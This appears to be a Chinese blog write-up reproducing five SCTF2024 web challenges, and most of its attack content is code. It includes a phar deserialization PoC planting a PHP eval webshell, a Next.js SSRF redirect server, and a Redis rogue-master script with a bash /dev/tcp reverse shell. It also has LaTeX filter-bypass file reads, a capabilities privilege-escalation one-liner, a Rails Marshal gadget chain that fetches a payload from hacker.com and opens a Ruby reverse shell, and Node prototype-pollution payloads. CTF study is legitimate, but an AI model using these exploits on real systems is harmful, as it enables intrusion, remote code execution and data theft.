SCTF2024赛后复现

在这里插入图片描述

Simpleshop

Recently, my e-commerce site has been illegally invaded, hackers through a number of means to achieve the purchase of zero actually free of charge to buy a brand new Apple / Apple iPad, you can help me to find out where the problem is?

https://avd.aliyun.com/detail?id=AVD-2024-6943、https://avd.aliyun.com/detail?id=AVD-2024-6944

根据漏洞通报定位漏洞函数:get_image_base64,本地审计梳理利用链为:前台用户上传文件,phar反序列化RCE

image-20241002152601211

image-20241002152622197

文件内容有检查,通过gzip压缩生成的phar文件即可绕过

image-20241002152722897

poc

<?php
namespace GuzzleHttp\Cookie{

    class SetCookie {

        function __construct()
        {
            $this->data['Expires'] = '<?php eval($_POST[1]);?>';
            $this->data['Discard'] = 0;
        }
    }

    class CookieJar{
        private $cookies = [];
        private $strictMode;
        function __construct() {
            $this->cookies[] = new SetCookie();
        }
    }

    class FileCookieJar extends CookieJar {
        private $filename;
        private $storeSessionCookies;
        function __construct() {
            parent::__construct();
            $this->filename = "public/y0.php";
            $this->storeSessionCookies = true;
        }
    }
}

namespace{
    $exp = new GuzzleHttp\Cookie\FileCookieJar();
	var_dump($exp);

    $phar = new Phar('test.phar');
    $phar -> stopBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($exp);
    $phar -> stopBuffering();
    rename('test.phar','test.jpg');	
}
?>

上传:

image-20241002152913622

触发:

image-20241002152945220

蚁剑-> fpm bypass df -> suid读flag

image-20241002154043595

ezjump

Just jump!

通过源码结构及flag文件位置,猜测是通过前端走私/SSRF到后端然后打redis的RCE

image-20241002161111322

通过依赖检查发现Next.js存在一个SSRF的洞,https://github.com/azu/nextjs-CVE-2024-34351,通过一个SSRF server和修改Host Origin头即可

image-20241002161324826

SSRF server:

from flask import Flask, request, Response, redirect

app = Flask(__name__)

@app.route('/play')
def exploit():
    # CORS preflight check
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    # after CORS preflight check
    elif request.method == 'GET':
        ssrfUrl = 'http://172.11.0.3:5000/'
        return redirect(ssrfUrl)

if __name__ == '__main__':
    app.run(port=1337, host='0.0.0.0', debug=True)

image-20241002164210894

在get_user时,会对redis发起 RESP 请求

image-20241002172512348

可以直接打主从复制rce,构造fake server

import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()  
    sleep(5)
    while True:    
        data = conn.recv(1024)
        if "PING" in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF" in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC" in data or "SYNC" in data:
            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()            
            conn.send(resp)    
        #elif "exit" in data:
            break

if __name__=="__main__":

    parser = OptionParser()                     
    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")        
    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")            

    (options , args )= parser.parse_args()
    lport = options.lp
    exp_filename = options.exp

    CLRF="\r\n"
    payload=open(exp_filename,"rb").read()
    print "Start listing on port: %s" %lport
    print "Load the payload:   %s" %exp_filename     
    RogueServer(lport)

构造ssrf请求

from flask import Flask, request, Response, redirect
import urllib.parse

app = Flask(__name__)

@app.route('/play')
def exploit():
    # CORS preflight check
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    # after CORS preflight check
    elif request.method == 'GET':
        padding = "\r\n"
        inject = "$1\r\na\r\n"
        # 主从
        #inject += "SLAVEOF 1.1.1.1 21000\r\n\r\n\r\nCONFIG SET dbfilename exp.so\r\n"
        # 执行命令
        inject += "MODULE LOAD ./exp.so\r\nsystem.exec 'bash -c \"bash -i >& /dev/tcp/1.1.1.1/1338 0>&1\"'\r\n"
        padding += inject
        user = "admin"*len(padding)+padding
        ssrfUrl = f'http://172.11.0.3:5000/login?password=&username={urllib.parse.quote(user)}'
        return redirect(ssrfUrl)

if __name__ == '__main__':
    app.run(port=1337, host='0.0.0.0', debug=True)

image-20241002172739084

ez_tex

上传/编译 LaTex 文件,无回显,/log路径只显示一个app.log

image-20241002184754739

文件内容检测通过 ^^41 == A 绕过,尝试往app.log写内容

\documentclass[]{article}
\begin{document}

\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.log
\imm^^65diate\write\outfile{helloworld}
\imm^^65diate\closeout\outfile

\end{document}

image-20241002185205934

成功读取到main.py

\documentclass{article}
\begin{document}
\newread\infile
\newwrite\outfile
\openin\infile=main.py
\imm^^65diate\openout\outfile=a^^70p.log
\loop
    \read\infile to \line
    \ifeof\infile\else
        \imm^^65diate\write\outfile{\line}
\repeat
\closein\infile
\imm^^65diate\closeout\outfile
\end{document}

main.py

import os 
import logging 
import subprocess 
from flask import Flask, request, render_template, redirect 
from werkzeug.utils import secure_filename 

app = Flask(__name__) 

if not app.debug: 
        handler = logging.FileHandler('app.log') 
        handler.setLevel(logging.INFO) 
        app.logger.addHandler(handler) 

UPLOAD_FOLDER = 'uploads' 
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER 

os.makedirs(UPLOAD_FOLDER, exist_ok=True) 

ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'} 

def allowed_file(filename): 
        return '.' in filename and \ 
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS 

def compile_tex(file_path): 
        output_filename = file_path.rsplit('.', 1)[0] + '.pdf' 
        try: 
                subprocess.check_call(['pdflatex', file_path]) 
                return output_filename 
        except subprocess.CalledProcessError as e: 
                return str(e) 

@app.route('/') 
def index(): 
        return render_template('index.html') 

@app.route('/upload', methods=['POST']) 
def upload_file(): 
        if 'file' not in request.files: 
                return redirect(request.url) 
        file = request.files['file'] 
        if file.filename == '': 
                return redirect(request.url) 

        if file and allowed_file(file.filename): 
                content = file.read() 
                try: 
                        content_str = content.decode('utf-8') 
                except UnicodeDecodeError: 
                        return 'File content is not decodable' 
                for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate','app', 'flag']: 
                        if bad_char in content_str: 
                                return 'File content is not safe' 
                file.seek(0) 
                filename = secure_filename(file.filename) 
                file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) 
                file.save(file_path) 
                return 'File uploaded successfully, And you can compile the tex file' 
        else: 
        return 'Invalid file type or name' 


@app.route('/compile', methods=['GET']) 
def compile(): 
        filename = request.args.get('filename') 

        if not filename: 
                return 'No filename provided', 400 

        if len(filename) >= 7: 
                return 'Invalid file name length', 400 

        if not filename.endswith('.tex'): 
                return 'Invalid file type', 400 

        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) 
        print(file_path) 
        if not os.path.isfile(file_path): 
                return 'File not found', 404 

        output_pdf = compile_tex(file_path) 
        if output_pdf.endswith('.pdf'): 
                return "Compilation succeeded" 
        else: 
                return 'Compilation failed', 500 

@app.route('/log') 
def log(): 
        try: 
                with open('app.log', 'r') as log_file: 
                log_contents = log_file.read() 
                return render_template('log.html', log_contents=log_contents) 
        except FileNotFoundError: 
                return 'Log file not found', 404 

if __name__ == '__main__': 
app.run(host='0.0.0.0', port=3000, debug=False) 

写html打SSTI,然后suid提权无果,Capabilities 提权

getcap -r / 2>/dev/null

image-20241002191814264

python3.11 -c 'import os; os.setuid(0); os.system("cat /root/sctf > /app/ez_tex/static/1.txt")'

image-20241002192220297

havefun

小李刚毕业入职一家公司,老板交给了他一个任务,但是他第一次配置php相关服务,好像存在一些问题,马上要检查了,小李是否会挨骂呢?

主页指向了 /static/SCTF.jpg ,文件尾存在php代码

<?php
$file = '/etc/apache2/sites-available/000-default.conf';
$content = file_get_contents($file);
echo htmlspecialchars($content);
?>

通过 路径解析错误 成功将jpg执行为php http://1.95.37.51/static/SCTF.jpg/a.php

获取到 000-default.conf 内容

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        PassengerAppRoot /usr/share/redmine

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        <Directory /var/www/html/redmine>
                RailsBaseURI /redmine
                #PassengerResolveSymlinksInDocumentRoot on
        </Directory>

        RewriteEngine On
        RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
        LogLevel alert rewrite:trace3
        RewriteEngine On
        RewriteRule  ^/profile/(.*)$   /$1.html

</VirtualHost>

其中两条重写规则

RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
RewriteRule  ^/profile/(.*)$   /$1.html

根据橘子神的:Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server! 中的

Jailbreak Local Gadgets to Redmine RCE,可以轻松获取到 secret_key.txt 的内容,从而实现攻击 Ruby on Rails,一个通过Cookie反序列化的RCE:小心!你的 Rails 有被打過嗎?

获取secret

http://1.95.37.51/profile/usr/share/redmine/instances/default/config/secret_key.txt%3f

环境安装失败,记录poc

# Autoload the required classes
require 'uri'
require 'rails/all'
Gem::SpecFetcher

# create a file a.rz and host it somewhere accessible with https
def generate_rz_file(payload)
  require "zlib"
  spec = Marshal.dump(Gem::Specification.new("bundler"))

  out = Zlib::Deflate.deflate( spec + "\"]\n" + payload + "\necho ref;exit 0;\n")
  puts out.inspect

  File.open("a.rz", "wb") do |file|
    file.write(out)
  end
end

def create_folder
  uri = URI::HTTP.allocate
  uri.instance_variable_set("@path", "/")
  uri.instance_variable_set("@scheme", "s3")
  uri.instance_variable_set("@host", "hacker.com/sctf2024/a.rz?")  # use the https host+path with your rz file

  uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/")
  uri.instance_variable_set("@user", "user")
  uri.instance_variable_set("@password", "password")

  spec = Gem::Source.allocate
  spec.instance_variable_set("@uri", uri)
  spec.instance_variable_set("@update_cache", true)

  request = Gem::Resolver::IndexSpecification.allocate
  request.instance_variable_set("@name", "name")
  request.instance_variable_set("@source", spec)

  s = [request]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies", [])

  l
end

def git_gadget(git, reference)
  gsg = Gem::Source::Git.allocate
  gsg.instance_variable_set("@git", git)
  gsg.instance_variable_set("@reference", reference)
  gsg.instance_variable_set("@root_dir","/tmp")
  gsg.instance_variable_set("@repository","vakzz")
  gsg.instance_variable_set("@name","aaa")

  basic_spec = Gem::Resolver::Specification.allocate
  basic_spec.instance_variable_set("@name","name")
  basic_spec.instance_variable_set("@dependencies",[])

  git_spec = Gem::Resolver::GitSpecification.allocate
  git_spec.instance_variable_set("@source", gsg)
  git_spec.instance_variable_set("@spec", basic_spec)

  spec = Gem::Resolver::SpecSpecification.allocate
  spec.instance_variable_set("@spec", git_spec)

  spec
end

def popen_gadget
  spec1 = git_gadget("tee", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec"})
  spec2 = git_gadget("sh", {})

  s = [spec1, spec2]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies",[])

  l
end

def to_s_wrapper(inner)
  s = Gem::Specification.new
  s.instance_variable_set("@new_platform", inner)
  s
end

folder_gadget = create_folder
exec_gadget = popen_gadget
generate_rz_file(("ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"1.1.1.1\",\"1337\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"))
r = Marshal.dump([Gem::SpecFetcher, to_s_wrapper(folder_gadget), to_s_wrapper(exec_gadget)])
#Marshal.load(r)
#puts %{Marshal.load(["#{r.unpack("H*")}"].pack("H*"))}
def sign_and_encryt_data(data,secret_key_base)
        salt = 'authenticated encrypted cookie'
        encrypted_cookie_cipher='aes-256-gcm'
        serializer=ActiveSupport::MessageEncryptor::NullSerializer
        key_generator=ActiveSupport::KeyGenerator.new(secret_key_base,iterations: 1000)
        key_len=ActiveSupport::MessageEncryptor.key_len(encrypted_cookie_cipher)
        secret=key_generator.generate_key(salt,key_len)
        encryptor=ActiveSupport::MessageEncryptor.new(secret,cipher: encrypted_cookie_cipher,serializer: serializer)
        data=encryptor.encrypt_and_sign(data)
        CGI::escape(data)
end
puts sign_and_encryt_data(r,ARGV[0])

SycServer2.0

登录框,前端对username、password进行sqlwaf、加密

image-20241001133002206

将func wafsql置为空,然后万能密码登录

image-20241001133201196

robots.txt中路由 /ExP0rtApi?v=./&f=app.js 存在文件读取,CyberChef解密

image-20241001134053707

通过污染env和shell环境变量来命令注入,Abusing Environment Variables网鼎杯2023线下半决赛突破题errormsg复现

{
    "user":"__proto__",
    "date":"2",
    "reportmessage":{
        "shell":"/readflag",
        "env":{
            "NODE_DEBUG":"require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');process.exit();//",
            "NODE_OPTIONS":"-r /proc/self/environ"
        }
    }
}
{
    "user":"__proto__",
    "date":"2",
    "reportmessage":{
        "shell":"/bin/bash",
        "env":{
            "BASH_FUNC_whoami%%":"() { /readflag;}"
        }
    }
}

image-20241002233451220

参考

https://blog.wm-team.cn/index.php/archives/82/

https://mp.weixin.qq.com/s/qOueXdU3UaKiJoUnuUjBEA

https://mp.weixin.qq.com/s/jp2ePXS1feCn0XLwadXhlg

本项目是一个基于SSM(Spring+SpringMVC+MyBatis)框架和Vue.js前端技术的大学生第二课堂系统,旨在为大学生提供一个便捷、高效的学习和实践平台。项目包含了完整的数据库设计、后端Java代码实现以及前端Vue.js页面展示,适合计算机相关专业的毕设学生和需要进行项目实战练习的Java学习者。 在功能方面,系统主要实现了以下几个模块:用户管理、课程管理、活动管理、成绩管理和通知公告。用户管理模块支持学生和教师的注册、登录及权限管理;课程管理模块允许教师上传课程资料、设置课程时间,并由学生进行选课;活动管理模块提供了活动发布、报名和签到功能,鼓励学生参与课外实践活动;成绩管理模块则用于记录和查询学生的课程成绩和活动参与情况;通知公告模块则实时发布学校或班级的最新通知和公告。 技术实现上,后端采用SSM框架进行开发,Spring负责业务逻辑层,SpringMVC处理Web请求,MyBatis进行数据库操作,确保了系统的稳定性和扩展性。前端则使用Vue.js框架,结合Axios进行数据请求,实现了前后端分离,提升了用户体验和开发效率。 该项目不仅提供了完整的源代码和相关文档,还包括了详细的数据库设计文档和项目部署指南,为学习和实践提供了便利。对于基础较好的学习者,可以根据自己的需求在此基础上进行功能扩展和优化,进一步提升自己的技术水平和项目实战能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值